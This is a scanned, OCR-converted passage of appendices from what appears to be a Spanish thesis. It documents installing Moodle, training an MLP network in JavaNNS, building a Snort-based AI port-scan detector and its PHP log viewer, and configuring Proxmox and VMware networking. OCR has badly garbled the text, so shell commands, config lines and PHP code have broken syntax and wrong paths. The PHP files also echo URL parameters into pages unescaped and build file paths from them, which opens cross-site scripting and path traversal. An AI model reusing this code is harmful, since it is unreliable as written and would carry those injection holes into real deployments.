Nombre de la base de datos

Usuario de la base de datos

Contrasefia de la base de datos

Prefijo de tablas

Puerto de la base de datos

Socket Unix

localhost
moodle
root
moodle

mdl_

T 3

Figura 108. Configuracién de base de datos
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n Instalacién - Moodle 3.4.8 +

< C | A 192168.150.13/
B Comunidad TEAM r.. » Blogueo Mental Par...

. Portafolic 4 Binomo » INSTALAR ROM OR.. *%§ Shodan Udemy - Online Co...

Instalacion

Moodle - Modular Object-Oriented Dynamic Learning
Environment
Copyright
Copyright (C) 1999 en adelante, Martin Dougiamas (hitp://moodie.com)
Este programa es software libre: usted puede redistribuirlo y
/o modificarlo bajo los términos de la GNU (General Public License) publicada por la Fundacién para el

Software Libre, ya sea la version 3 de dicha Licencia, o (a su eleccién) cualquier version posterior,

Este programa se distribuye con la esperanza de que sea Util, pero SIN NINGUNA GARANTIA: sin la garantia
implicita de COMERCIALIZACION 0 IDONEIDAD PARA UN PROPOSITC PARTICULAR.

Vea la pagina de informacion de Licencia de Moodle para mas detalles: http:/docs. moodle.orglen/License

Confirmar

;Ha leido y comprendido los términos y condiciones?

Continuar Cancelar

Figura 109. Términos y condiciones de moodle
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1 Instalacién +

| A 192.168.150.13/admin/inde: ; 2 | ]

. Portafolic 4 Binomo » INSTALAR ROM OR.. %% Shodan Udemy - Online Co... [l§ Comunidad TEAMr.. + Bloqueo Mental Par...

Instalacién - Moodle 3.4.8+ (Build: 20190511)
Moodle 3.4.8+ (Build: 20190511)

Si desea informacion sobre esta version de Moodle, por favor vea Release Noles

Comprobaciones del servidor

Nombre Informacion Informe Plugin  Estado
unicode @ debe estar instalado/aciivado [ ok ]
database mariadb (5.5.65-MariaDB) € version 5.5.31 es obligatoria v est ejeculando 5.5.65 [ oK ]
php € version 7.0.0 es obligatoria y esta ejecutando 7.0.33 [ ok ]
pereunicodes € deberia estar instalado y activado para conseguir los mejores resultados [ 0K
php_extension iconwv 6 debe estar instalado/aclivado [ ok ]
php_extension mbstring @ deberia estar instalado y activado para conseguir los mejores resuftados [ oK ]
php_extension curl 6 debe estar instalado/aclivado [ ox ]
php_extension openss| @ debe estar instalado/activado [ 0K ]
php_extension tokenizer @ deberia estar instalado y activado para conseguir los mejores resultados [ oK ]
php_extension smirpc @ deberia estar instalado y activado para conseguir los mejores resuitados [ 0K ]
php_extension soap @ deberia estar instalado y activado para conseguir los mejores resultados [ oK ]
php_extension clype @ debe esiar instaladofaclivado [ ox]
php_extension zip @ debe estar instaladofaclivado [ oK ]
php_sxtension zlib @ debe estar instaladofaclivado [ ok ]
php_extension gd @ debe estar instaladofaclivado [ oK ]
php_extension simplexml @ debe estar instaladofaclivado [ ok ]
php_extension spl @ debe estar instalado/aciivado [ oK ]
php_extension pore @ debe estar instalado/aclivado [ ok ]
php_extension dom @ debe estar instalado/aciivado [ oK
php_extension xml @ debe estar instalado/aclivado [ ok ]
php_extension smireader @ debe estar instalado/activado [ 0K ]
php_extension intl € debe estar instalado/aclivado [ ox ]
php_extension fson @ debe estar instalado/activado [ 0K ]
php_extension hash @ debe estar instalado/aclivado [ oK ]
php_extension filginfo @ debe estar instalado/activado [ 0K ]
php_setting rmemory_limit @ detectado ajuste recomendado [ oK ]
php_setting file_uploads @ deleclado ajusie recomendado [ ox ]
php_setting opcache.enable 0 detectado ajuste recomendado [ oK ]

Otras comprobaciones

Informacién  Informe Plugin Estado

sitenothifps @ Si esta comprobacion falla, ello indica un problema potencial | Ravicar |
Se ha deleclado que su sitic no se comunica a traves de HTTPS. Se recomienda migrar su silio a HTTPS para incrementar la seguridad y
mejorar |a integracion con otros sistemas.

Su entorno de servidor cumple todos los requerimientos minimos.

Figura 110. Verificacion de los requisitos de moodle

La informacion de la Figura 111 y la Figura 112 en la instalacion del servidor de

moodle varian de acuerdo con la informacion que proporcione el administrador.
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n Instalacién X +

< | A 192.168.150.1 nced.php ( j \ ]

. rtafolic 4% Binomo » INSTALAR ROM C Shodan Udemy - Online Co... [l Comunidad TEAM r. + Bloqueo Mental Par...

Instalacion

| sitio. Az=plrese de que usa un nombre de usuaric y contrasena
nisirador.

En esta paginz deberiz con
=seguros, 3si comao una dire:

cuenta de administrador prin: , que e dard un cantrol absaluto 5
electrdnico vakdz. M2z sdelante podrd crear mis cugntas de

» Expand

4

General

Nombre de usuario e

admin

ger un método de 7] Cuentas manusles
idenificaciin:

La con deberia tener al menos & caractarfes), 2l menos 1 digitals), al menes 1 mindsculals), 3l menos 1 maydsculais), 3
menos 1 caracteries) no alfznuméncos como * - o #

conTasefs L R 7 [ — & =

Forzar cambio de contrasehiz @

Willams

] Nicolzlde

n de cormea B

Mastrar comeo

Ciudad

Seleccions supsls Ecuader =

Zgna horarnia

Dr=scripeidn (7]

Formato HTML %

» Mombres adicionales

» Opcional

En este formulario hay campos obgstorios

Figura 111. Configuracion de datos del administrador de moodle
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N Instalacién *x +

< C 8 | A 192.168.150.13/admin/upgradesettings.php 2 g ] ) |

. Portafolio % Binomo » INSTALAR ROM OR.. %% Shodan Udemy - Online Co... “omunidad TEAM r... » Blogqueo Mental Par...

Instalacion

Nuevos ajustes - Ajustes de la pagina principal

Nombre completo delsitio | yr2paio de Titulacion UTN
Nembre corto para el sitio (una UTN

palabra)

Resumen de la pagina principal

Este resumen puede mostrarse en la pagina principal utilizando el bloque Resumen del curso/sitio.

Nuevos ajustes - Ajustes de ubicacion

Zona horaria por defecto América/Guayaquil ¢ | Valor por defecto: Europa/London

Aqui puede decidir la zona horaria por defecto. Esta es la tnica zona horaria POR DEFECTQ para mostrar
fechas -cada usuario puede cambiar esta opcion en su perfil-. La "Hora del Servidor” aqui hara que Moodle
tome por defecto la del sistema operativo, pero esa opcidén en el parfil del usuario lo ajustara a la
correspondiente zona horaria.

Nuevos ajustes - Gestionar identificacion

Registrarse a i mismo | Deshabilitar s

Valor por defecto: Deshabilitar

Escoja qué conector (‘plugin’) de identificacion manejar cuando los usuarios se registren a si mismos.

Figura 112. Configuracién de la pagina principal de moodle

Finalmente se observan los resultados del servidor moodle ya instalado y

configurado en la seccién 3.5.2.
Anexo 4. Disefio de red MLP

Para el disefio de la red MLP es necesario el archivo de la red neuronal artificial
gue contiene las capas de entrada, ocultas y salida, también el set de entrenamiento, ambos

archivos se descargan del siguiente enlace; https://sourceforge.net/projects/snort-
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aiffiles/PortscanAl%20Neural%20Networks/. Con los archivos descargados, se los abre

en JavaNNS, tal como indican la Figura 113 y la Figura 114.

B JavalNS

Edit View Tools Pattern Window Help
[ New... ctl-N F Training pattern set: <none> £3 Validation pattern set: <none>

Close Ctrl-wr ]
Save cti-3
[ Save as...

Save data...
Print...

Exit

Figura 113. Abrir archivos necesarios para red MLP

3= Abrir *
Buscar en: ] Red Neuronal v &3] || (3] |85 ‘-
|3 Imagenes

CYMLP_7_a_2 net]

[ snort_pp_kickstart01112008 pdf
[ snortdevdiagrams01122009.pdf

DErain_data_pat

Nombre de archivo: [MLP_7_4_2 net | Abrir

Archivos de tipo: Todos los archivos (*.*) v Cancelar

Figura 114. Archivos para la red MLP

Se verifican que ambos archivos se cargaron correctamente y se encuentran listos
para iniciar el proceso de entrenamiento de la red MLP si se observa algo similar a la

Figura 115 con cierta variacion en los valores de las capas.
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#2 JavalNNS - a *
File Edit View Tools Pattern Window Help
74 %2 Network: MLP_7_4_2 &5 Training pattern set: train_data &3 Validation pattern set: train_data

7/
4FF:

4

0083 0836

Figura 115. Red MLP sin entrenar

Antes de empezar a entrenar la red MLP se comprueban que los parametros de

entrenamiento se encuentren igual a los de la Figura 116 y la Figura 117.
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Control Panel

Initializing |1

Initializing function: | Random Weights - ‘

arameters

min ’07 max Imi

Init

Figura 116. Rangos de pesos establecidos

Control Panel

Learning function: ||Backprupagatiun ~|

arameters

nfoz ] e 01

Cycles: (1000 Steps: |1 [] Shuffle

‘ Init ‘ | Learn Current ‘ | Learn All

Figura 117. Aprendizaje con retroalimentacion configurada

El entrenamiento de la red MLP empieza Unicamente dando clic en Learn All
hasta obtener en su capa de salida valores de 0 y 1 o aproximados a estos, tal como se

obtuvo en la Figura 118.
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Entrada_1 Entrada_2Entrada_3Entrada_4 Entrada_5Entrada_6Enirada_7

Capas de Entrada

0.339. 0339 0.001 0.001 il 7 A
LN S A i fi 2

YR
WO W
1 10 \ /[ A

y / i
VT o A s .
5.4£-0.065.70-8.07-0.34.-0.6610 2464 1449 5765562

VT AT N7
Ocutta_1 z20culta_2 =Oculta_3 ~Oculta_4
= = =
| . Capas Ocultas
0959 0375 0837 //IJ 999
s
S

-9.408.40:-9.90-8.99111 5
\ : 3

i 7

Pesos

links

/i
/| 1

=i =l o4

7
/

Selida_1 Salida_2

Capas de Salida

0 10.399

Figura 118. Red MLP entrenada

Finalmente, se guarda el archivo con formato .net y posteriormente observar los
pesos que llevaron a este resultado, ademas de que estos seran Utiles para el disefio del

preprocesador.
Anexo 5. Instalaciéon de Snort+RNA

La instalacion de Snort+RNA necesita como requisito ciertas herramientas, las
cuales deben ser instaladas con los siguientes comandos:
yum install -y epel-release
yum install -y libnghttp2

yum install -y httpd gcc pcre-devel php-gd gd mod_ssl glib2-devel gcc-c++

bison flex php-pear zlib pcre libnet tcpdump mariadb-server mysql-devel
A continuacion se vincula la librera libnet con las siguientes lineas de comandos.

In -s /usr/1ib64/libdnet.so0.1.0.1 /1ib64/1libdnet.1

ldconfig
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Otra herramienta necesaria previa a la instalacion de Snort, es la instalacion de las
librerias que permite el analisis del trafico, este proceso se indica bajo el presente
apartado.
wget https://www.tcpdump.org/release/libpcap-0.9.8.tar.gz
tar xvfz libpcap-0.9.8.tar.gz
cd libpcap-0.9.8
./configure && make && make install

En este caso la instalacién de Snort+RNA no serd automatica, dicho en otras

palabras, la instalacion usa los archivos proporcionados un enlace externo y el proceso a

seguir es el siguiente:

wget https://sourceforge.net/code-snapshots/svn/s/sn/snort-ai/code/snort-ai-

code-r55-trunk-snortai-stable.zip

unzip snort-ai-code-r55-trunk-snortai-stable.zip
mv snort-ai-code-r55-trunk-snortai-stable snortia
cd /root/snortia

./configure --with-mysql --with-mysql-libraries=/usr/1ib64/mysql/ --with-

mysql-includes=/usr/include/
make && make install
Para continuar la instalacion se crean las carpetas que alojaran los archivos de
Snort+RNA, esto se realiza con estos comandos.
mkdir /etc/snort
mkdir /etc/snort/rules
mkdir /var/log/snort

mkdir /etc/snort/preproc_rules
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Dentro de las carpetas creadas se colocan los archivos de configuracion de
Snort+RNA, para ellos se escriben estas lineas de comandos, primero indicando el origen
de los archivos y luego su destino.
cp /usr/local/bin/snort /usr/sbin
cp /root/snortia/etc/snort.conf /etc/snort/
cp /root/snortia/etc/classification.config /etc/snort/
cp /root/snortia/etc/reference.config /etc/snort/
cp /root/snortia/etc/unicode.map /etc/snort/
cp /root/snortia/rpm/snortd /etc/init.d/
cp /root/snortia/preproc_rules/* /etc/snort/preproc_rules/

Por ultimo se configura el archivo snort.conf que se aloja en /etc/snort/, en el
cual se indica la red interna y red externa, la primera red sera la que protege Snort+RNA,
mientras que la segunda red no sera tomada en cuenta por Snort+RNA. Las lineas de
comando que establecen estas redes son estas:
var HOME_NET 192.168.100.0/24

var EXTERNAL_NET jHOME_NET

Anexo 6. Configuracion de interfaz web de Snort+RNA

La seccion 4.6 muestra las pruebas que se realizaron con Snort+RNA ya
configurado, sin embargo, hace falta aclarar el proceso que realiza para la visualizacion
de registros que genera al finalizar cada analisis, este proceso se indica con los comandos
bajo este acapite. Ademas, es necesario cuatro archivos que se alojan en
Ivar/www/html/tesis/file/, los nombres de estos archivos son: config.php, index.php,
graph.php y graph_wrap.php; el contenido que debe tener cada archivo se presenta en

los siguientes anexos.
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wget https://jpgraph.net/download/download.php?p=46
mv download.php?p=46 jpgraph-4.3.2.tar.gz
tar xvzf jpgraph-4.3.2.tar.gz
cp -r jpgraph-4.3.2 /var/www/
Anexo 6.1. Archivo config.php
<?php
$log _path = '/var/log/snort/portscanai’;
$jpgraph_path = '/var/www/jpgraph-4.3.0/src’;
?>

Anexo 6.2. Archivo index.php

<?php
include('config.php');
include('header.html');
$filter_limit=$ GET['iph_limit'];
switch($_GET['iph_filter']){
case 'hsrc':

$part=1;

break;

case 'hdst':

$part=2;

break;

case 'nresp':

$part=5;

break;
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echo '<center><table><tr><td>Log_method: File</td>';

$lines

file($log_path.'/ips_hash.log');

$parts

explode('.',$lines[0@]);

echo '<td style="text-align:right">Logs generated:

".$parts[0]. '</td></tr></table></center>";

sort($lines);

$ip_counter = $rel_counter = 0;

echo '<h2>IPs Hash table</h2><center><table><tr><th style="color: aliceblue;">IP</th>

<th><a href="help.html" title="hits as source - hits como origen">

hits_as_src</a></th>

<th><a href="help.html" title="hits as destination - hits como destino">

hits_as_dst</a></th>

<th><a href="help.html" title="average receive time - tiempo promedio de recepcioén">

av_rcv_time</a></th>

<th><a href="help.html" title="average send time - tiempo promedio de envio">

av_snd_time</a></th>

<th><a href="help.html" title="negative_resp (negative responses - respuestas

negativas)">

ack_rst_resp</a></th>

<!--<th><a href="help.html"> RST resp</a></th>

<th><a href="help.html"> win_count</a></th></tr>-->";

foreach($lines as $line){

if(strstr($line, '/') == FALSE) {

$parts = explode(' ',$line);

$ip_counter++;

if($parts[$part] >= $filter_limit)
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echo '<tr><td><a href="graph_wrap.php?ip=".$parts[0]. '&tipo=1">".

$parts[0]. '</a></td><td>"'.$parts[1].

"</td><td> " . $parts[2]. '</td><td> " .$parts[3].

"</td><td> " .$parts[4]. '</td><td>" .$parts[5].

"</td><--<td>" . $parts[6]. '</td><td>" . $parts[7]. '</td>--></tr>";

$lines = file($log_path.'/dir_rel _hash.log');

$filter_limit = $_GET['dir_relh_limit'];

sort($lines);

echo '</table></center><h2>Direct Relation Hash table</h2>

<center><table><tr><th style="color: white;">IP src</th><th style="color: white;">IP

dst</th>

<th><a href="help.html" title="relation hits - hits de relacioén">rel_hits</a></th>

</tr>';

foreach($lines as $line){

$parts = explode(' ',$1line);

$rel_counter++;

if($parts[2] >= $filter_limit)

echo '<tr><td>'.$parts[0]. " '</td><td><a href="graph_wrap.php?ip=".

$parts[0].'_"'.$parts[1]. '&tipo=2">".$parts[1].

"</a></td><td>' . $parts[2]. '</td></tr>";

echo '</table></center>';

echo '<b style="font-size: 15px;">Registered IPs in IPs Hash table:
</b>'.$ip_counter. '<br><b style="font-size: 15px;">Registered Direct Relations:

</b>'.$rel_counter;
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?>

<?php

unset($lines);

Anexo 6.3. Archivo graph.php

include('config.php');

include($jpgraph_path

.'/jpgraph.php');

include($jpgraph_path.'/jpgraph_line.php');

include($jpgraph_path.'/jpgraph_bar.php');

$file = $log path.'/graph_info/'.$_GET['ip'];

switch($_GET['tipo']){

}

case '1':

display graph($file,
break;

case '2':

display graph($file,
break;

case '3':
display_graph($file,
break;

case '4':

display graph($file,
break;

case '5":
display_graph($file,
case '6':

display graph($file,

break;

'Hits como destino Vs N Flows',0,1,'');

'Hits directos

‘diff_rcv_time

'diff_snd_time

‘diff_rcv_time

'diff_snd_time

Vs

Vs

Vs

Vs

Vs

Hits como destino',0,1,'');

Tiempo (Ms)',2,3,'");

Tiempo (Ms)',2,4,'");

N Flows',0,3,"'");

N Flows',0,4,'');

function display_graph($file, $tit, $xindex, $yindex, $legend) {
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<html>

<head>

<title>Gr&aacute;ficas estad&iacute;sticas para PortscanAI</title>

<style>

$lines = file($file);
foreach($lines as $line){
$toks=explode(' ',$line);
if(($toks[$yindex]+0)!=0){
$datay[ ]=$toks[$yindex]+0;

$datax[ ]=$toks[$xindex]+0;

}

$graph = new Graph(850,500, "auto");
$graph->SetScale("1linlin");
$graph->yaxis->scale->ticks->Set(100);
$graph->SetMargin(70,70,40,30);
$graph->SetMarginColor('gray');
$graph->SetFrame(true, 'blue’,3);
$graph->title->Set($tit);
$graph->title->SetFont(FF_FONT2,FS BOLD);
$graph->title->SetAlign("center");

$p1l = new BarPlot(array_slice($datay,0,250000));
$pl->SetFillColor("red");
$graph->Add($pl);

$graph->Stroke();

Anexo 6.4. Archivo graph_wrap.php

body{
font-family:Cambria, serif;

font-size:24px;
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background-color: #F7F5E6;

color:black;

}
a{
text-decoration:none;
font-size: 15px;
color: #873AFC;
}
a:hover{
text-decoration:underline;
color:#1515E6;
}
table{
width:95%;
align:center;
color:aliceblue;
}
td{
text-align:center;
font-size:20px;
background-color:#52658f;
}
</style>
</head>
<body>
<center>
<?php

include('config.php');
$tipo = $_GET['tipo'];

$ip = $_GET['ip'];

$GRAPH_DIR = $log_path.'/graph_info/"';
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echo '<table><tr><td style="font-family:Cambria, serif;font-size:24px;
color:black;"><h2>Graficos de: '.$ip.'</h2></td></tr>

</table>"';
if(is_file($GRAPH_DIR.$ip)){ ?>
<table>

<tr><td><img src="graph.php?ip=<?php echo $_GET['ip'] ?>&tipo=<?php echo
$tipo ?>" /></td>

<?php

if($tipo == "1') { >
<td><img src="graph.php?ip=<?php echo $ GET['ip'] ?>&tipo=3" /></td>
<tr><td><img src="graph.php?ip=<?php echo $ GET['ip'] ?>&tipo=5" /></td>
<td><img src="graph.php?ip=<?php echo $ GET['ip'] ?>&tipo=4"
/></tr></td></table>

<?php

3>

<?php }

else
echo '<h2>La IP requerida no ha sido encontrada</h2>
Por favor, verifique que el archivo de log exista ('.$GRAPH_DIR.$ip.
'). Es probable que esta IP no haya sido registrada como de
destino(&uacute;nicamente actu&oacute; como origen).';
?>

<table><tr><td><a href="index.php" style="font-family:Cambria, serif;font-size:24px;
color:#F7F5E6;" title="Regresar a consola de

PortscanAI">Regresar</a></td></tr></table>
</center>
</body>

</html>
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Anexo 7. Configuracion de interfaces red

Anexo 7.1. Configuracion en Proxmox

179

Para la convergencia entre la SDN e Snort+RNA es necesario configurar la

interfaz fisica de red eno2 en proxmox PV2, este proceso se divide en dos etapas la

primera es en la interfaz gréafica tal como se muestran en la Figura 119 y Figura 120.

A 10002
» INSTALAR ROM OR.
X PROXMOX vitsal Environment 5030 Search
Server View Node ‘pve2’
£5 Datacenter
Bo pvet Q Search Create Revert Re:
100 (MOODLE-WN) | & Summary Name | Type Active Autostart | Ports/Slaves  IP address Subnetmask ~ Gateway
12; :plu(:ba-ceﬂlus-E >~ Shell enol Network D No No
ana
G 103 (pruebaw) o System eno2 Network D No No
104 (prueba104) = Network eno3 Network D Yes Yes 10.0.2552 25525525
106 (respaldo-ana) @ DNS enod Network D Yes Yes
109 (opina) o Time vmbrQ Linux Bridge Yes Yes enod 10.0.0.2 255.256.25 10.0.0.254
111 (moodle)
3 127 (ODL-WN) = Syslog
$ 128 (SRV-WEB-WN) | & Updates
129 (SRV-FTP-WN) © Firewall
130 (MOODLE-WN)
3 131 (OVS-WN) & Disks
£ ceph_vm (pvel) @® Ceph
-
S local (pet) 13 Replication
£ localivm (pvel)
b ) IE Task History
@o pve3 ® Subscription
W admin Pending changes (Please reboot to activate changes)
@ imbaquingo
No changes
Figura 119. Seleccion del servidor proxmox PV2
Edit: Linux Bridge G
Name vmbr0 Autostan [
IP address 10002 VLAN aware ]
Subnet mask 2552552550 Bridge ports enod, eno?2

Gateway 10.0.0.254
IPv6 address
Prefix length

Gateway

Comment

B T

Figura 120. Parametros para la interfaz vmbrO de PV2

Comment

La segunda etapa es la configuracion del archivo interfaces dentro de la carpeta

letc/network/, dentro de este archivo se agregan estas lineas de comando:
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auto eno2
iface eno2 inet manual

Con los cambios realizados solo queda reiniciar al servidor proxmox PV2 para

que surtan efecto.
Anexo 7.2. Configuracion en VMware

Al igual que en proxmox se configurar una interfaz en VMware con el propdsito
de que el Snort+RNA en la maquina virtual, se comunique con la SDN del servidor fisico

PV2; los pasos de este proceso se sefialan desde la Figura 121 hasta la Figura 123.

@ VMware Workstation

File | Edit View WM Tabs Help

Cut Ctrl+ %
Copy Ctrl+C
Paste Ctrl+V

@  Virtual Network Editor...
Preferences... Ctrl+P

Figura 121. Configuracion del Virtual Network Editor
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g Virtual Metwork Editor

Mame Type External Connection Host Connection ~ DHCP Subnet Address
WMnet1 Host-only - Connected Enabled 192, 168.0.0
YMnet4 Host-only - Connected Enabled 192, 168,100.0
VMnets MNAT MAT Connected Enabled 20,20.20.0
VMnetll  Hostonly - Connected Enabled 192, 168.150.0
VMnetl2  Custom - - - 192.168.10.0
VMnet3 Bridged Realtek PCIe GbE Family Co... - - -

Add MNetwork... Remove Netwark
VMnet Information
(®) Bridged (connect VMs directly to the external network)

Bridged to: | Realtek PCIe GBE Family Controller ~ | | Automatic Settings. ..
(CJNAT (shared host's IP address with VMs) MAT Settings...
(O Host-only (connect YMs internally in a private network)

Connect a host virtual adapter to this network

Hast wirtual adapter name: Wiware Metwork Adapter Wnets

Use local DHCP service to distribute IP address to VMs DHCP Settings...
Restore Defaults CK Cancel Apply Help

Figura 122. Parametros del VMnet3 de VMware

Virtual Machine Settings

Hardware  Options

. Device status
Device Summary
C ted
T Memory 3.0GB onnects
[ Processors 1 Connect at power on
= Hard Disk (IDE) 100 GB )
) CD/DVD {IDE) Auto detect Metwork connection
MNetwork Adapter  Custom (VMnet12) (O Bridged: Connected directly to the physical network
F&INetwork Adapter 2 Custom (VMnet4) Replicate physical network connection state
TENetwork Adapter 3 NAT
@;. Sound Card Auto detect (CJNAT: Used to share the host's IP address
!]Display Auto detect (O Host-only: A private network shared with the host
(®) Custom: Spedfic virtual network
VMnet3 (Bridaed) ~
O LAM segment:
LAM Segments... | | Advanced...
Qndd. -- Remove
oK Cancel Help

Figura 123. Asignacion de VMnet3 en Snort+RNA
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